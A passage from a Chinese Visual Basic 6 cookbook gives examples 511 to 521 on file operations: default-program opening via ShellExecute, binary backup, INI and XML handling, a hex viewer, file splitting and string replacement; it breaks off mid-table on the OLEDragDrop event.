FileLength = LOF(1)                                        '取得文件长度
Close #1                                                '关闭文件




设计过程

（1）新建标准EXE工程。

（2）在窗体上添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption属性为“读取”；Command2的Caption属性为“退出”。

（3）在窗体上添加一个TextBox控件，命名为Text1。Text1的MultiLine属性为True。

（4）在CommandButton控件Command1的Click事件中的代码用于从文件逐字获取信息，代码如下：



Private Sub Command1_Click()                                        '读取文件
    Dim MyStr
    Open App.Path & "\MyFile.ini" For Input As #1                            '打开文件
    Do While Not EOF(1)                                            '循环至文件尾
        MyStr = Input(1, #1)                                        '读入一个字符
        Text1.Text = Text1.Text & MyStr                                '追加至文本框内
    Loop
    Close #1                                                    '关闭文件
End Sub




秘笈心法

心法领悟511：LOF函数小知识。

使用LOF函数配合Input函数使用时，应以二进制的方式打开文件，否则出现“输入超出文件尾”的错误。



 实例512　以默认方式打开文件

光盘位置：光盘\MR\16\512

中级

趣味指数：[image: ]




实例说明

大多数文件都有它默认的打开方式，例如，*.doc文件需要用Word打开，*.jsp文件需要用Dreamweaver打开等。例如，运行本实例程序，双击在文件列表中的位图文件，显示效果如图16.40所示。

[image: ]
图16.40　以默认方式打开位图文件



关键技术

使用API函数ShellExecute可以自动地判断文件的默认打开方式，并使用默认的打开方式将其打开，语法如下：



[Private | Private] Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long




ShellExecute函数的参数说明如表16.7所示。

表16.7 ShellExecute函数的参数说明



	参数
	类型
	说明



	hwnd
	Long
	指定一个窗口的句柄



	lpOperation
	String
	指定字串open来打开lpFlie文档，或指定Print来打印它



	lpFile
	String
	想用关联程序打印或打开一个程序名或文件名



	lpParameters
	String
	如lpszFlie是可执行文件，则这个字串包含传递给执行程序的参数



	lpDirectory
	String
	想使用的完整路径



	nShowCmd
	Long
	定义了如何显示启动程序的常数值




例如，执行工程所在路径下的可执行文件MyProgram.EXE的代码如下：



Call ShellExecute(Me.hWnd, "Open", "MyProgram.EXE", vbNullString, App.Path, SW_SHOWNORMAL)




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个DirListBox控件，命名为Dir1。

（3）在窗体中添加一个DriveListBox控件，命名为Drive1。

（4）在窗体中添加一个FileListBox控件，命名为File1。

（5）在File1的DblClick事件中的代码，通过使用API函数ShellExecute，打开在文件列表框中被选中的文件，代码如下：



Private Sub File1_DblClick()
    Call ShellExecute(Me.hWnd, "Open", File1.Path & "\" & File1.FileName, vbNullString, App.Path, SW_SHOWNORMAL)        '打开文件
End Sub




秘笈心法

心法领悟512：打开文件夹。

当使用API函数ShellExecute并将lpOperation参数设置为Open时，如果指定的打开路径为文件夹路径，那么将在弹出的窗口中显示相应文件夹中的全部内容。



 实例513　二进制文件的读取与写入操作

光盘位置：光盘\MR\16\513

中级

趣味指数：[image: ]




实例说明

本实例采用二进制的方式对数据库文件进行备份与还原的操作。运行本实例程序，单击“备份”按钮，对数据库文件进行备份，程序的运行效果如图16.41所示。

[image: ]
图16.41　二进制文件的读取与写入操作



关键技术

对于二进制文件的读取和随机文件一样，使用Get语句从指定的文件中读取数据，使用Put语句将数据写入到指定的文件中。

（1）二进制文件的读操作

二进制文件的读操作可以采用Get语句来实现。利用Get语句读取二进制文件和读取随机文件相似，这里不再赘述。

（2）二进制文件的写操作

在二进制文件打开后，可以使用Put语句对其进行写操作，语法如下：



Put [#]filenumber, [recnumber], varname




Put语句将变量的内容写入到所打开的文件的指定位置，它一次写入的长度等于变量的长度。例如，变量为整型，则写入两个字节的数据。如果忽略位置参数，则表示从文件指针所指的位置开始写入数据，数据写入后，文件指针会自动向后移动。文件刚打开时，指向第一个字节。例如，本例利用二进制文件备份数据。

设计过程

（1）新建标准EXE工程，创建两个窗体，分别命名为Form1、frm_backup。添加一个标准模块，命名为Mdl_BackupRestore。

（2）在窗体Form1中添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption属性为“备份”；Command2的Caption属性为“还原”。

（3）在窗体frm_backup中添加一个Label控件，命名为Label1。Label1的AutoSize属性为True，BackStyle为0-Transparent，Caption属性为“数据库备份中...”，ForeColor属性为&H000000FF&。

（4）在窗体frm_backup中添加一个ProgressBar控件。

（5）在标准模块Mdl_BackupRestore中创建自定义过程BackOrRestore用户备份或恢复数据库。该过程具有4个形式参数，第一个参数用于指示操作是备份还是恢复，第二个参数用于传递进度条所在的窗体对象，第三个参数用于传递进度条对象，第四个参数用于指定每次备份或恢复的块的长度，代码如下：



Public Sub BackOrRestore(ByVal BackUp As Boolean, ByVal MyForm As Form, _
                         ByVal Progress As ProgressBar, ByVal MyStep As Integer)
    Dim i As Currency
    SetWindowPos MyForm.hwnd, 1, 0, 0, 0, 0, &H2 Or &H1                '取消窗体置前
    If MsgBox(IIf(BackUp, "确定备份数据？", "确定恢复数据？"), vbYesNo) = vbYes Then
        SetWindowPos MyForm.hwnd, -1, 0, 0, 0, 0, &H2 Or &H1                '窗体置前
        ReDim char(1 To MyStep)
        Progress.Visible = True
        Progress.Max = 10
        Progress.Min = 0
        Progress.Value = 0
        If Dir(IIf(BackUp, FileFrom, FileTo)) <> "" Then
            Open IIf(BackUp, FileFrom, FileTo) For Binary As #1
            Open IIf(BackUp, FileTo, FileFrom) For Binary As #2
            For i = 1 To FileLen(IIf(BackUp, FileFrom, FileTo)) Step MyStep
                If FileLen(IIf(BackUp, FileFrom, FileTo)) - i + 1 < MyStep Then
                    ReDim char(1 To FileLen(IIf(BackUp, FileFrom, FileTo)) - i + 1)
                End If
                Get #1, i, char
                Put #2, i, char
                Progress.Value = CInt(i * 10 / FileLen(IIf(BackUp, FileFrom, FileTo)))
                DoEvents
            Next i
            Close
            Progress.Value = Progress.Min
            SetWindowPos MyForm.hwnd, 1, 0, 0, 0, 0, &H2 Or &H1            '取消窗体置前
            MsgBox IIf(BackUp, "数据库备份成功", "数据恢复成功")
        Else
            SetWindowPos MyForm.hwnd, 1, 0, 0, 0, 0, &H2 Or &H1            '取消窗体置前
            MsgBox "文件不存在"
        End If
        Unload MyForm
    Else
        Unload MyForm
    End If
End Sub




秘笈心法

心法领悟513：数据块长度的分配。

本实例可以根据用户指定的参数值动态分配数据块的长度，该功能是通过使用ReDim语句实现的。因为数据块是以字节数组的形式存在，所以使用ReDim语句调整动态字节类型数组的下界与上界就可以动态分配数据的长度。



 实例514　以流的方式打开文本文件

光盘位置：光盘\MR\16\514

中级

趣味指数：[image: ]




实例说明

本实例以流的方式打开程序所在路径的文本文件MyFile.txt。运行本实例程序，在文本框中显示文本文件中的内容，程序的运行效果如图16.42所示。

[image: ]
图16.42　以流的方式打开文本文件的效果



关键技术

使用FSO对象的OpenAsTextStream方法可以使文本文件以流的方式打开。接下来对OpenAsTextStream方法进行介绍。

OpenAsTextStream方法用于打开一个指定的文件并返回一个TextStream对象，该对象可用来对文件进行读、写、追加操作，语法如下：



object.OpenAsTextStream([iomode, [format]])




参数说明

❶object：必选参数。始终是一个 File对象的名字。

❷iomode：可选参数。表明输入/输出方式。可为3个常数之一：ForReading、ForWriting或ForAppending。

❸format：可选参数。用于指示打开文件的格式。

设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个TextBox控件，命名为Text1。Text1的MultiLine属性为True，ScrollBars属性为2-Vertical。

（3）在窗体的加载事件中的代码，以流的方式打开文本文件，并对文件中的内容进行显示，代码如下：



Private Sub Form_Load()
    Dim MyFSO As New FileSystemObject                                    '创建FSO对象
    Dim MyFile As File                                                '声明File变量
    Dim MyTS As TextStream                                            '创建TextStream对象
    Set MyFile = MyFSO.GetFile(App.Path & "\MyFile.txt")                            '实例化File对象
    Set MyTS = MyFile.OpenAsTextStream(ForReading)                            '以流的方式打开文件
    Text1.Text = MyTS.ReadAll                                            '读取文件内容
    MyTS.Close                                                    '关闭TextStream对象
End Sub




秘笈心法

心法领悟514：OpenAsTextStream方法的功能优势。

OpenAsTextStream方法提供了和FileSystemObject的OpenTextFile方法相同的功能。此外，OpenAsTextStream 方法还可以用于对一个文件进行写操作。



 实例515　使用XML文件保存数据

光盘位置：光盘\MR\16\515

中级

趣味指数：[image: ]




实例说明

扩展标记语言XML是一种简单的数据存储语言，使用一系列简单的标记描述数据，而这些标记可以用方便的方式建立，虽然XML占用的空间比二进制数据占用更多的空间，但XML极其简单且易于掌握和使用。本实例创建XML文件，用于指定程序升级列表。运行实例程序，选择文件列表项，单击“生成XML”按钮，如图16.43所示。生成XML文件内容如图16.44所示。
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	图16.43　生成XML
	图16.44　XML文件内容




关键技术

本实例通过使用MSXML2.DOMDocument对象，实现XML文件的创建。在创建前首先需要对XML有所了解，下面对XML的语法与XML文件的操作进行介绍。

（1）XML语法简介

XML的语法非常简单，XML文档由节点组成，使用打开和关闭节点描述标记，在格式上与HTML标记非常相似，它们之间最大的不同是：XML中可以自由定义标记名。例如，下面的标记就描述了一个科目名称。



<Class>语文课</Class>




而且不用声明标记名就可以使用。

开始和结束标记必须相同，XML是识别大小写的，所以标记的大小写也必须相同。例如，上面的例子中以<Class>标记开始就必须以</Class>标记结束，而不能是</class>或</CLASS>。

节点标记中可以包含属性，例如，下面的代码中Class节点包含属性Type，其值为Class1。



<Class Type="Class1">语文课</Class>




如果不愿意在节点中包含一个值，那么可以不需要结束标记，可以用在开始标记的后面加一个斜线来结束节点，在下面的例子中，Class标记的Number属性就存储了一个课程名称，所以就不需要一个结束标记。



<Class Type="Class1" Number="语文课" />




XML文档的结构是一个树形等级结构。文档必须有一个唯一的根节点，根节点包含所有其他节点。下面举一个较为完整的例子，如图16.45所示，UpdCfg是XML文档中唯一的节点，SERVER、VERSION、UpdFile均为UpdCfg的子节点。

[image: ]
图16.45　XML文档结构示例



（2）XML文件的操作

在对XML文件的操作中涉及两个关键的类，分别是DOMDocument、IXMLDOMNode。下面分别对它们进行介绍。


	DOMDocument类



文档对象模型（DOM）使用了一系列相应的对象，描述了XML文档的等级状态，DOMDocument类是一个描绘XML文档的DOM结构的MSXML类。

DOMDocument类仅提供了很少的几个有用的属性和方法。其中的Load方法载入一个XML文件，将XML文件数据添加到对象中。例如，下面的代码就将一个XML文件数据加载到名为XML对象中。



Dim xml As New DOMDocument
xml.load "C:\root.xml"




DOMDocument的xml属性返回文档的xml描述，可以显示这些返回值看看这些文档究竟是什么样子，也可以将它存储为一个文件，但这完全不必要，因为DOMDocument对象的save方法已经自动将它们存储了。

DOMDocument对象的documentElement属性表示文档数据的根节点，通常情况下操作XML文档都从这里开始。

DOMDocument提供了几种创建新节点的方法。CreateElement方法为文档创建一个新的元素节点，其他创建节点的方法有createAttribute，createProcessingInstruction和createTextNode，在这里就不一一介绍了。


	IXMLDOMNode类



IXMLDOMNode类描述了一个节点，该类提供了一系列用于搜索和操纵XML文档的属性和方法。

selectSingleNode方法用于搜索指定节点的后代，下面介绍两个对搜索子节点特别有用并且简单的方法。

在给selectsingleNode方法中输入子节点的名字，该方法将在节点的子节点进行精确匹配搜索。如果在输入的字符串前面加上“.//”，那么将搜索节点的全部后代。



Set searchnode = mynode.selectSingleNode("IP")                    '在子节点中查找
Set searchnode = mynode.selectSingleNode(".//IP")                    '在全部后代中查找




下面列出了IXMLDOMNode对象的部分非常有用的属性。

❶attributes：节点属性集合。

❷nodeName：节点的标记名。

❸nodeTypeString：节点的类型。

❹ownerDocument：返回DOMDocument对象包含的节点。

❺text：表示节点包含的文本内容。如果该节点包含其他节点，那么text代表了所有节点的文本内容的组合。

❻xml.：给出了节点的xml内容。

❼ChildNodes：集合包含了节点的子节点。要给节点增加一个子节点，首先必须给使用DOMDocument对象的节点创建方法，然后将这个新建的节点加入到父节点的childNodes集合中。下面的代码中创建一个新的子节点，并使用父节点的appendChild方法将其加入到父节点中。



Dim new_node As IXMLDOMNode
Set new_node = parent.ownerDocument.createElement("newnode")        '创建节点对象
new_node.Text = "新节点"                                '设置节点内容
parent.appendChild new_node                            '将新创建的节点插入父节点




在创建所有新的节点后，SaveValues调用DOMDocument's save方法存储新的xml文件。

设计过程

（1）新建标准EXE工程。

（2）在窗体Form1上添加一个CommandButton控件，命名为Cmd_CXML。

（3）添加一个DirListBox控件，命名为Dir1。

（4）添加一个DriverListBox控件，命名为Drive1。

（5）添加一个FileListBox控件，命名为File1。

（6）添加两个Frame控件，分别命名为Frame1、Frame2。

（7）添加一个ImageList控件，命名为ImageList1。

（8）添加3个Label控件，分别命名为Label1、Label2、Label3。Label1的Caption属性为“升级服务器地址”；Label2的Caption属性为“端口”；Label3的Caption属性为“发布版本号”。

（9）在窗体上添加3个TextBox控件，分别命名为Text1、Text2、Text3。

（10）添加一个窗体，命名为Form2。

（11）在窗体Form2上添加4个Label控件，分别命名为Label1、Label2、Label3、Label4。

（12）添加两个TextBox控件，分别命名为Text1、Text2。

（13）添加一个TreeView控件，命名为TreeView1。

（14）在窗体Form1的Form_Load事件中执行server过程，创建元素节点UpdCfg、SERVER、IP、PORT、VERSION。创建过程server的代码如下：



Private Sub server()
    Set root1 = xmldoc.createElement("UpdCfg")
    Set root2 = xmldoc.createElement("SERVER")
    Set root3 = xmldoc.createElement("IP")
    Set root4 = xmldoc.createElement("PORT")
    Set root9 = xmldoc.createElement("VERSION")
    xmldoc.appendChild (root1)
    root1.appendChild (root2)
    root2.appendChild (root3)
    root2.appendChild (root4)
    root1.appendChild (root9)
    Set root5 = xmldoc.createElement("UpdFile")
    root1.appendChild (root5)
End Sub




创建文件名、FilePath、FileTo元素节点，并在元素节点下添加相应的文本节点，代码如下：



Private Sub updatefile(ByVal filename As String, ByVal filepath As String, FileTo As String)
    Set root6 = xmldoc.createElement(filename)
    Set root7 = xmldoc.createElement("FilePath")
    Set root8 = xmldoc.createElement("FileTo")
    Set root7text = xmldoc.createTextNode(filepath)
    Set root8text = xmldoc.createTextNode(FileTo)
    root5.appendChild (root6)
    root6.appendChild (root7)
    root7.appendChild (root7text)
    root8.appendChild (root8text)
    root6.appendChild (root8)
End Sub




创建XML文件：



Private Sub Cmd_CXML_Click
    '略
    updinfo
    xmldoc.save (App.Path & "\Update.xml")
End Sub




秘笈心法

心法领悟515：什么是XML。

XML是eXtensible Markup Language的简写，是一种提供数据描述格式的标记语言。XML以一种简单的文本格式存储数据，可以在不同系统间进行数据交换，这使它成为在Internet上传输数据的绝佳格式。XML是Visual Studio.NET和.NET Framework的很多功能的核心。



 实例516　从INI文件读取程序设置

光盘位置：光盘\MR\16\516

中级

趣味指数：[image: ]




实例说明

本实例用于读取INI文件中的信息，并根据相关的信息设置窗体的标题。配置文件中的信息如图16.46所示。运行本实例程序后的显示效果如图16.47所示。
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	图16.46　配置文件中的信息
	图16.47　程序显示效果




关键技术

读取INI文件设置可以通过使用API函数GetPrivateProfileString较快地实现。


说明：
 GetPrivateProfileString函数的详细讲解请参见实例273中的关键技术。

设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个Label控件，命名为Label1。Label1的AutoSize属性为True，BackStyle属性为0-Transparent，Caption属性为“本窗体的标题从INI文件中读取”，ForeColor属性为&H000000FF&。

（3）在窗体的加载事件中使用API函数GetPrivateProfileString获取配置信息，并将标题信息显示在标题栏中，代码如下：



Private Sub Form_Load()
    Dim strReturn As String, lenReturn As Long                        '声明字符串类型变量与长整型变量
    strReturn = vbNullString                                    '初始值设置为空字符串
    strReturn = Space(&HFE)                                    '生成254个空格
    lenReturn = GetPrivateProfileString("config", "title", _
                vbNullString, strReturn, _
                &HFF, App.Path & "\config.ini")                        '获取配置文件信息
    Me.Caption = Trim(Replace(Left(strReturn, lenReturn), Chr(0) , ""))            '将获取的信息显示在标题栏中
End Sub




秘笈心法

心法领悟516：缓冲区长度不足时的应变机制。

如果为API函数GetPrivateProfileString 分配的用于获取信息的缓冲长度不足，不能容下全部信息，函数的返回值就为参数nSize减1的值（若lpApplicationName或lpKeyName为Null，则返回sSize-2）。



 实例517　将窗体标题保存在INI文件中

光盘位置：光盘\MR\16\517

中级

趣味指数：[image: ]




实例说明

本实例用于将窗体标题保存在INI文件中。运行本实例程序后显示效果如图16.48所示。配置文件中的信息如图16.49所示。
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	图16.48　程序显示效果图
	图16.49　配置文件中的信息




关键技术

保存INI文件设置可以通过使用API函数WritePrivateProfileString较快地实现，语法如下：



Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As String, ByVal lpFileName As String) As Long




参数说明如表16.8所示。

表16.8 API函数WritePrivateProfileString的参数说明



	参数
	类型
	说明



	lpApplicationName
	String
	要在其中写入新字串的小节名称。这个字串不区分大小写



	lpKeyName
	Any
	要设置的项名或条目名。这个字串不区分大小写。用vbNullString可删除这个小节的所有设置项



	lpString
	String
	指定为这个项写入的字串值



	lpFileName
	String
	初始化文件的名字。如果没有指定完整路径名，则Windows会在Windows目录查找文件。如果文件没有找到，则函数会创建它




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个Label控件，命名为Label1。Label1的AutoSize属性为True，BackStyle属性为 0-Transparent，Caption属性为“将本窗体的标题保存在INI文件中”，ForeColor的属性为&H000000FF&。

（3）在窗体的加载事件中使用API函数WritePrivateProfileString根据窗体标题栏文字设置配置信息，代码如下：



Private Sub Form_Load()
    lenReturn = WritePrivateProfileString

("config", "title", Me.Caption, App.Path & "\config.ini")            '将信息写入配置文件
End Sub




秘笈心法

心法领悟517：删除某项中的现有字符串。

如果需要删除某项中的现有字符串，可以将API函数WritePrivateProfileString的lpString参数设置为vbNullString。



 实例518　以十六进制显示文件

光盘位置：光盘\MR\16\518

高级

趣味指数：[image: ]




实例说明

使用十六进制编辑器打开文件后可以将文件内的数据以十六进制的形式进行显示。在这里，用VB创建属于自己的十六进制编辑器。运行本实例程序，选择“文件”/“打开”命令，选择要打开的文件。例如，选择文件Form1.frm后，显示效果如图16.50所示。

[image: ]
图16.50　以十六进制显示文件



关键技术

实现以十六进制显示文件内容，主要通过使用函数Hex来实现。


说明：
 Hex函数的详细讲解请参见实例123中的关键技术。

设计过程

（1）新建标准EXE工程。

（2）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（3）在窗体上添加一个RichTextBox控件，命名为RichTextBox1。RichTextBox1的ScrollBars = 3-rtfBoth。

（4）在窗体中创建菜单，菜单项的设置如表16.9所示。


表16.9　菜单项设置说明

[image: ]


（5）创建自定义函数LoadFile，将字节数组中的数组元素值转换为十六进制。这个过程具有两个形式参数，第一个形式参数用于传递文件的路径和文件名，第二个参数用于传递被选中的文件名。过程内的具体代码如下：



Private Sub LoadFile(fname As String, ftitle As String)
    Dim fnum As Integer                                        '声明整型类型的变量
    Dim num_bytes As Integer                                    '声明整型类型的变量
    Dim bytes() As Byte                                        '声明字节类型数组
    Dim txt As String                                        '声明字符串类型变量
    Dim line1 As String                                        '声明字符串类型变量
    Dim line2 As String                                        '声明字符串类型变量
    Dim unk As String                                        '声明字符串类型变量
    Dim ch As Integer                                        '声明整型变量
    Dim i As Integer                                        '声明整型变量
    Dim j As Integer                                        '声明整型变量

    RichTextBox1.Text = ""                                    '清空文本框中内容
    FileName = fname                                        '变量赋值
    FileTitle = ftitle
    Caption = "以十六进制显示文件 [" & ftitle & "]"                        '显示程序标题
    DoEvents                                            '控制权交予系统
    fnum = FreeFile
    Open fname For Binary As #fnum                                '以二进制的形式打开文件
    num_bytes = LOF(fnum)                                    '获取文件长度
    ReDim bytes(1 To num_bytes)                                '动态调整数组的下界与上界
    Get #fnum, , bytes                                        '获取数据，并保存在字节类型数组中
    Close fnum                                            '关闭文件
 
    '显示数据
    unk = Chr$(191)                                        '转换为字符
    i = 1                                                '设置变量初始值
    Do While i <= num_bytes                                    '当变量i的值小于字节个数
        line1 = Format$(i, "@@@@@@: ")                            '进行格式化
        line2 = "    " 
        For j = 0 To 7                                        '循环起点为0，终点为7
            If i + j > num_bytes Then                                '如果i与j的和打印字节个数
                line1 = line1 & "   "
            Else                                            '否则
                ch = bytes(i + j)                                '获取下标为i与j的和的数组元素值
                line1 = line1 & Format$(Hex$(ch), "@@ ")                '显示为十六进制
                If ch >= 32 Then
                    line2 = line2 & Chr$(ch)
                Else
                    line2 = line2 & unk
                End If
            End If
        Next j
        txt = txt & line1 & line2 & vbCrLf
        i = i + 8
    Loop

    RichTextBox1.Text = txt
End Sub




秘笈心法

心法领悟518：数值的格式化。

使用Format函数，并将符号@作为数值格式标识符，可以将数值格式化为指定长度。例如，将数值12格式化为0012：Format(12, "@@ @@")。



 实例519　文件分割与合并

光盘位置：光盘\MR\16\519

中级

趣味指数：[image: ]




实例说明

由于移动存储器容量不足，可能需要将比较大的文件分割为若干个较小的文件，并对每个小文件保存于不同的存储器中。例如，在早年间磁盘是当时的最常用的移动存储介质，而磁盘的容量小，常常需要将一个完整的文件拆分后，逐块进行保存。在这里使用VB来创建属于自己的“文件分割器”。运行本实例程序，单击“打开”按钮，选择被拆分的对象后指定分割单位并单击“开始分割”按钮。分割成功后弹出对话框，如图16.51所示。

[image: ]
图16.51　文件分割



如果需要合并文件，需要指定模板文件的路径以及输出文件的路径。指定路径后，单击“开始合并”按钮，进行文件合并的工作。

关键技术

（1）文件的分割

进行文件的分割首先以二进制的形式打开文件，然后使用Get语句按照指定的读取位置以及长度，获取文件的一部分数据块。

（2）文件的合并

进行文件的合并通过读取“模板”文件中的信息，来指定各个数据块在合并时的位置以及长度。文件的合并通过使用Put语句实现。

设计过程

（1）新建标准EXE工程。

（2）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（3）在窗体中添加4个CommandButton控件，分别命名为Cmd_Assemble、Cmd_Open、Cmd_Split、Cmd_Select。Cmd_Assemble的Caption属性为“开始合并”；Cmd_Open的Caption属性为“打开”；Cmd_Split的Caption属性为“开始分割”；Cmd_Select的Caption属性为“选择”。

（4）在窗体中添加两个Frame控件，分别命名为Frame1、Frame2。Frame1的Caption属性为“分割”， Frame2的Caption属性为“合并”。

（5）在窗体中添加4个Label控件，它们作为控件数组，名称为Label1。第一个元素的AutoSize属性为True，Caption属性为“文件名：”，第二个元素的AutoSize属性为True，Caption属性为“分割单位：”，第三个元素的AutoSize属性为True，Caption属性为“模板文件：”，第四个元素的AutoSize属性为True，Caption属性为“输出文件：”。

（6）在窗体中添加4个TextBox控件，分别命名为Txt_FileLength、Txt_TemplateName、Txt_OutputFile、Txt_FileName。Txt_FileLength的Text属性为512；Txt_FileName的Locked属性为True；Txt_TemplateName的Locked属性为True。

（7）创建自定义过程SplitFile用来实现文件的分割。该过程具有3个形式参数，第一个形式参数用于传递被分割文件的路径以及名称；第二个参数用于返回操作状态；第三个参数为可选参数用于指定块的大小，该参数的默认值为1439865。过程内部的具体代码如下：



Private Function SplitFile(str_FileToSplit As String, strErrMsg As String, Optional lPerUnit As Long = 1439865) As Boolean
    On Error GoTo errHandler                                    '错误处理
    Dim str_SaveName As String, nFileNumber As Integer                    '声明字符串类型以及整型变量
    SplitFile = True                                            '假设成功

    Dim lFileLen As Long
    lFileLen = FileLen(str_FileToSplit)                                '取得文件的长度
    If lFileLen <= lPerUnit + 1 Then
        '如果所要分割的文件大小不超过分割单位，则返回分割错误
        SplitFile = False
        strErrMsg = "文件太小！"
        Exit Function
    End If

    nFileNumber = FreeFile                                    '调用FreeFile函数来取得文件号
    Open str_FileToSplit For Binary As nFileNumber                        '以二进制的方式打开文件

    Dim lFileNum As Long
    '根据文件的长度FilesLen和每个分割单位的比较，得出被分割之后的子文件个数
    If CInt(lFileLen / lPerUnit) >= lFileLen / lPerUnit Then
        lFileNum = CInt(lFileLen / lPerUnit)
    Else
        lFileNum = CInt(lFileLen / lPerUnit) + 1
    End If

    Dim CurrentFile As SectionedFile
    ReDim CurrentFile.Files(1 To lFileNum)
    Dim i As Long
    For i = 1 To lFileNum - 1
        ReDim CurrentFile.Files(i).Bytes(1 To lPerUnit)
        CurrentFile.Files(i).FileLen = UBound(CurrentFile.Files(i).Bytes)
    Next
    For i = 1 To lFileNum
        Get #nFileNumber, , CurrentFile.Files(i).Bytes '读取文件内容
    Next

    '重新定义最后一个子文件的大小
    ReDim CurrentFile.Files(lFileNum).Bytes(1 To lFileLen - ((lFileNum - 1) * lPerUnit))
    CurrentFile.NumberOfFiles = lFileNum
    Get #nFileNumber, , CurrentFile.Files(lFileNum).Bytes
    CurrentFile.Files(lFileNum).FileLen = UBound(CurrentFile.Files(lFileNum).Bytes)
    Close #nFileNumber '关闭文件

    '将所取得的内容分别存储到各个子文件中
    For i = 1 To CurrentFile.NumberOfFiles
        str_SaveName = str_FileToSplit & "." & Format(i - 1, "00#")

        nFileNumber = FreeFile
        Open str_SaveName For Binary As nFileNumber
        Put #nFileNumber, 1, CurrentFile.Files(i)
        Close #nFileNumber
    Next

    '将文件分割情况存储到自定义的结构类型FileInfoFile中
    Dim FileInfoFile As FileInfo
    FileInfoFile.FileCount = lFileNum
    FileInfoFile.OrigFileName = str_FileToSplit
    FileInfoFile.OrigProjSize = FileLen(str_FileToSplit)
    FileInfoFile.FileStartNum = 0

    '将文件分割的情况存入到模板文件中
    str_SaveName = str_FileToSplit & ".tpl"
    nFileNumber = FreeFile
    Open str_SaveName For Binary As #nFileNumber
    Put #nFileNumber, , FileInfoFile
    Close #nFileNumber

    Exit Function

errHandler:
    strErrMsg = Err.Description
    SplitFile = False
End Function






说明：
 由于篇幅有限，文件合并部分的代码请参见光盘中的实例代码。

秘笈心法

心法领悟519：子文件个数的获取。

根据文件的长度和每个分割单位进行比较可以获取子文件个数。但是，文件长度不一定不能被分割单位整除，那么会剩余一部分数据。剩余部分的数据当然不能够缺失，应将这部分数据作为一个子文件。因此，就应对取整后的子文件个数与取整之前的数值进行比较，如果取整后的数值小于取整之前的数值，那么就将子文件的个数加1。



 实例520　替换文本文件中字符串

光盘位置：光盘\MR\16\520

初级

趣味指数：[image: ]




实例说明

本实例用于将文本文件中的字符串替换为另一字符串。运行程序，单击“选择”按钮，选择被替换字符串的文件，在“搜索字符串”文本框中指定搜索的字符串，单击“开始替换”按钮进行字符串的替换，如图16.52所示。替换前的文本文件中的内容如图16.53所示。替换后的内容如图16.54所示。
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	图16.52　替换文本文件中字符串
	图16.53　替换前
	图16.54　替换后




关键技术

实现替换文本文件中字符串的功能主要通过使用Replace函数实现。


说明：
 Replace函数的详细讲解请参见实例135中的关键技术。

设计过程

（1）新建标准EXE工程。

（2）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（3）在窗体中添加一个CheckBox控件，命名为Check1。设置Check1的Caption属性为Check1。

（4）在窗体中添加3个CommandButton控件，命名为Command1、Command2、Command3。

（5）在窗体中添加3个Label控件，分别命名为Label1、Label2、Label3。Label1的AutoSize属性为True；Label2的AutoSize属性为True；Label3的AutoSize属性为True。

（6）在窗体中添加3个TextBox控件，分别命名为Text1、Text2、Text3。

（7）文本文件中字符串的替换通过创建自定义过程ChangeFile实现。该过程具有3个形式参数，分别用于传递文件的路径以及文件名、查找的字符串、替换为的字符串。过程内部的具体代码如下：



Private Sub ChangeFile(FileName$, SString$, CString$)
    Dim free, str As String                                            '声明变体类型变量与字符串类型变量
    free = FileSystem.FreeFile                                        '获取控件文件号
    Open FileName$ For Binary As #free                                '打开文件
    str = Input(LOF(free), #free)                                        '获取文件内容
    If Form1.Check1.Value = False Then                                    '当不区分大小写
       str = Replace(str, SString$, CString$, 1, -1, vbTextCompare)                    '替换字符串
    Else                                                    '当区分大小写
        str = Replace(str, SString$, CString$, 1, -1, vbBinaryCompare)                 '替换字符串
    End If
    Close #free                                                '关闭文件
    
    Open FileName$ For Output As #free                                '打开文件
        Print #free, str                                            '写入内容
    Close #free                                                '关闭文件
End Sub




秘笈心法

心法领悟520：Replace函数的比较方式。

在采用二进制比较方式时，Replace函数替换字符串时是区分大小写的，而采用文本比较方式则不区分大小写。



 实例521　拖放文件，将文件名添加至列表框

光盘位置：光盘\MR\16\521

初级

趣味指数：[image: ]




实例说明

在使用当今比较流行的文件处理软件时，细心的用户可能会发现，用户只要选中某文件，并将其拖动到列表框上方，被选中文件的名称就会自动显示在列表框中。这样，使用户对程序的操作变得更加简单、快捷。例如，在本实例中，将选中的可执行文件的名称拖动至列表框中，程序的运行效果如图16.55所示。

[image: ]
图16.55　将文件名添加至列表框



关键技术

本实例的功能是通过利用列表框控件ListBox的OLEDragDrop事件实现的。接下来看一下对OLEDragDrop事件的介绍。


注意：
 仅当OLEDropMode被设置为1（Manual）时，此事件才发生。

语法如下：



Private Sub object_OLEDragDrop(data As DataObject, effect As Long, button As Integer, shift As Integer, x As Single, y As Single)




参数说明如表16.10所示。

表16.10 OLEDragDrop事件的参数说明



	参数
	说明



	object
	对象表达式



	data
	DataObject对象，包含源提供的格式，另外也可能包含这些格式的数据。若DataObject不包含数据，则当控件调用GetData方法时提供数据。SetData和Clear方法不能用在这里



	effect
	源对象设置的长整型数，用来识别执行的动作，这样当部件被移动后允许源采取适当的动作（例如，如果源从一个部件移到另一个部件，则执行删除数据操作）



	button
	整数，当按下鼠标键时，与鼠标状态相对应。左键为位0，右键为位1，中键为位2。这些位相应的值分别为1、2和4，它代表了鼠标键的状态。可设置3个位中的部分、全部或根本不设置，相应地表明部分、全部按键被按下或没有按键按下



	shift
	整数，当按Shift、Ctrl和Alt键时，与这些键状态相对应。Shift键为位0，Ctrl键为位1，Alt键为位2。这些位相应的值分别为1、2和4，shift参数代表了这些键的状态。可设置3个位中的部分、全部或根本不设置，相应地表明部分、全部按键被按下或没有按键按下。例如，同时按下Ctrl和Alt键，shift值为6



	x,y
